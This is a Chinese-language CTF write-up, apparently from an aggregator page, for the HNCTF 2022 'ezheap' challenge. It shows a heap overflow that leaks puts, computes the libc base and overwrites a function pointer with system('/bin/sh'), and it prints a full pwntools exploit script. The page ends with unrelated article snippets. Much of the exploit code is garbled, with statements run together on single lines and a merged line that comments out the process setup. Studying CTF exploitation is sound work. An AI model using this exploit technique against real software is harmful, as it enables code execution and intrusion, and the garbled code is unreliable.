堆溢出ret2libc

堆溢出–ret2libc

题目:

[HNCTF 2022 WEEK4]ezheap | NSSCTF

讲解:

  1. 题目保护全开,要泄漏基地址:

    image-20240708171450265

  2. 利用栈溢出覆盖put参数泄漏libc基地址,再第二次用system的地址覆盖put函数,实现ret2libc。

泄漏libc基地址:

  1. 使用put函数输出put函数的地址,先观察函数创建的堆结构:

    image-20240708170838451

    image-20240708171106004

  2. 在看show函数的调用过程:

    image-20240708172552482

  3. 利用思路,先申请2个heap,用heap0的edit函数来覆盖heap1的content地址使其指向存放put函数地址的堆空间,再调用heap1的show函数,即可泄漏put函数的真实地址。

    调试来确定用0x80,来覆盖heap1的content低地址,使其指向存放put函数地址的堆空间:

    image-20240708171954987

    add(0,20,b"6",b"6")
    add(1,20,b"6",b"6")
    edit(0,p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80)) //两个堆之间的偏移使固定的
    printf(1)
    

    成功覆盖,put函数在调用时会直接用支付穿输出0x000055df3bd91080处的内容,遇到b’\x00‘才停止。

    image-20240708172121614

    成功泄漏puts函数的真实地址:

    addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print(hex(addr))libc_base = addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    str_bin = libc_base + next(libc.search(b"/bin/sh"))
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(str_bin))
    

    image-20240708172657332

    再用拿到的地址,照上面的思路继续用heap0覆盖heap1的堆,让存放puts函数地址的空间覆盖长system的地址,前面的参数地址覆盖成str_bin_sh的地址,两种覆盖方式:

    # 覆盖content的地址,show函数要在第二次输出的时候调用system("/bin/sh")
    edit(0,p64(0)*3+p64(0x31)+p64(0)*2+p64(str_bin)+p64(1)+p64(sys_addr))
    # 覆盖name字段的参数,show函数在第一次输出的时候就会调用system("/bin/sh")
    # edit(0,p64(0)*3+p64(0x31)+b"/bin/sh\x00"+p64(0)*2+p64(1)+p64(sys_addr))
    

    image-20240708173133942

    最后show(1)即可拿到shell,EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    #context(os='linux', arch='amd64')p = process('./pwn')
    # p = remote("node5.anna.nssctf.cn",20435)
    elf = ELF('./pwn')libc = ELF('./libc-2.23.so')n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])def add(index,size,name,content):sla(':','1')sla(':',str(index))sla(':',str(size))sla(':',name)sla(':',content)def free(idx):sla(':','2')sla(':',str(idx))def printf(index):sla(b':',b'3')sla(b'idx:',str(index).encode())def edit(idx, content):sla(':','4')sla(':',str(idx))sa(':',str(len(content)))p.sendline(content)add(0,20,b"6",b"6")
    add(1,20,b"6",b"6")
    edit(0,p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80))printf(1)
    addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print(hex(addr))libc_base = addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    str_bin = libc_base + next(libc.search(b"/bin/sh"))
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(str_bin))edit(0,p64(0)*3+p64(0x31)+p64(0)*2+p64(str_bin)+p64(1)+p64(sys_addr))
    # edit(0,p64(0)*3+p64(0x31)+b"/bin/sh\x00"+p64(0)*2+p64(1)+p64(sys_addr))printf(1)
    p.sendline(b'cat flag')
    ia()

    image-20240708173505490

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/371953.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis源码整体结构

一 前言 Redis源码研究为什么先介绍整体结构呢?其实也很简单,作为程序员的,要想对一个项目有快速的认知,对项目整体目录结构有一个清晰认识,有助于我们更好的了解这个系统。 二 目录结构 Redis源码download到本地之后,对应结构如下: 从上面的截图可以看出,Redis源码一…

文华财经盘立方期货通鳄鱼指标公式均线交易策略源码

文华财经盘立方期货通鳄鱼指标公式均线交易策略源码: 新建主图幅图类型指标都可以! VAR1:(HL)/2; 唇:REF(SMA(VAR1,5,1),3),COLORGREEN; 齿:REF(SMA(VAR1,8,1),5),COLORRED; 颚:REF(SMA(VAR1,13,1),8),COLORBLUE;

Gemini for China 大更新,现已上架 Android APP!

官网:https://gemini.fostmar.online/ Android APP:https://gemini.fostmar.online/gemini_1.0.apk 一、Android APP 如果是 Android 设备,则会直接识别到并给下载链接。PC 直接对话即可。 二、聊天记录 现在 Gemini for China&#xff…

开始尝试从0写一个项目--后端(二)

实现学生管理 新增学生 接口设计 请求路径:/admin/student 请求方法:POST 请求参数:请求头:Headers:"Content-Type": "application/json" 请求体:Body: id 学生id …

计算机网络性能指标概述:速率、带宽、时延等

在计算机网络中,性能指标是衡量网络效率和质量的重要参数。本文将综合三篇关于计算机网络性能指标的文章,详细介绍速率、带宽、吞吐量、时延、时延带宽积、往返时延(RTT) 和利用率的概念及其在网络中的应用。 1. 速率(…

收银系统源码-次卡功能

智慧新零售收银系统是一套线下线上一体化收银系统,给门店提供了含线下收银称重、线上商城、精细化会员管理、ERP进销存、营销活动、移动店务助手等一体化行业解决方案! 详细功能见下文: 门店收银系统源码-CSDN博客文章浏览阅读2.6k次&#…

继 承

为什么要有继承,继承的作用? 继承(inheritance)机制:是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加新功能,这样产生新的类,称派生类。 …

Qt源码解析之QObject

省去大部分virtual和public方法后,Qobject主要剩下以下成员: //qobject.h class Q_CORE_EXPORT Qobject{Q_OBJECTQ_PROPERTY(QString objectName READ objectName WRITE setObjectName NOTIFY objectNameChanged)Q_DECLARE_PRIVATE(QObject) public:Q_I…

学习mybatis

1、 2、mybatis是什么 mybatis为DAO层提供了解决方案的这样一个框架既然他是为DAO层提供了解决方案 那么说明他的主要功能和JDBC以及dbutils是一样的都是实现数据库的增删改查3、mybatis能干什么 数据库的增删改查的实现4、有了JDBC为什么还要学习mybatis SSH:s…

【紫外线发光器件小结】 UV-B LED 308nm

之前有介绍光的波长和频率计算。 波长小于390nm,频率高于770太赫兹的电磁波忙,或者光。基本有一段就叫做紫外线。 紫外线有分为UV-A/B/C;三小段; 如下图: 高压汞灯与UV LED的光谱;黑色线汞灯,蓝色LED

FreeRTOS 列表和列表项

这里推荐看完韦东山的C语言本质和韦东山的rtos快速入门视频 在 FreeRTOS 的源码中大量地使用了列表和列表项,因此想要深入学习 FreeRTOS,列表和 列表项是必备的基础知识。这里所说的列表和列表项,是 FreeRTOS 源码中 List 和 List Item 的 直…

C++规范

一、VS工具集列表: Visual Studio 2008:v90 Visual Studio 2010:v100 Visual Studio 2012:v110 Visual Studio 2013:v120 Visual Studio 2015:v140 (v140_xp) Visual Studio 2017&a…

Spring框架的学习SpringMVC(1)

1.什么是MVC (1)MVC其实就是软件架构的一种设计模式,它将软件的系统分为,(视图,模型,控制器)三个部分 1.1View(视图) 视图也就是,在浏览器显示的那一个部分,是后端数据的呈现 1.…

微型导轨如何提升数控机床的稳定性?

数控机床是加工设备中常用的机床,精度和稳定性是衡量数控机床性能的重要指标。而微型导轨作为数控机床中重要的传动元件,数控机床与其具体结构性能是密不可分的,那么微型导轨如何提高数控机床的稳定性呢? 1、微型导轨通过采用先进…

一个pdf分割成多个pdf,一个pdf分成多个pdf

在数字化办公和学习中,pdf格式因其良好的兼容性和稳定性而受到广泛欢迎。但有时候,我们可能需要将一个大的pdf文件分割成多个小文件,以便于分享、打印或编辑。今天,我就来教大家几种简单有效的方法,让你轻松实现pdf文件…

家里老人能操作的电视直播软件,目前能用的免费看直播的电视软件app,适合电视和手机使用!

2024年许多能看电视直播的软件都不能用了,家里的老人也不会手机投屏,平时什么娱乐都没有了,这真的太不方便了。 很多老人并不喜欢去买一个广电的机顶盒,或者花钱拉有线电视。 现在的电视大多数都是智能电视,所以许多电…

C++基础语法之重载引用和命名空间等

1.C关键字 c的关键字比我们的c语言的关键字多,c包容C语言并对C语言进行了补充,但是我们对关键字的学习是在我们后面逐渐学习的。这里我们的只是提供一个表格对齐了解一下。 2.命名空间 我们c出现了命名空间的概念,用关键字namespace来定义。…

paddleocr运行报错?谈谈解决思路。

🏆本文收录于「Bug调优」专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&…

git pull拉取显示Already up-to-date,但文件并没有更新

1、问题: 使用git pull拉取远程仓库代码,显示更新成功(Already up-to-date),但是本地代码没有更新 这是因为本地有尚未提交的更改,和远程代码有冲突导致无法更新 2、解决方法: 可以使用git s…

数据列表组件-报表

当数据在后端接口查询到&#xff0c;需要在页面展示出来&#xff0c;如果项目有很多report &#xff0c;可以把列表做一个组件 效果如下&#xff1a; js代码&#xff1a; <!DOCTYPE html> <html> <head><meta charset"utf-8" /><title&g…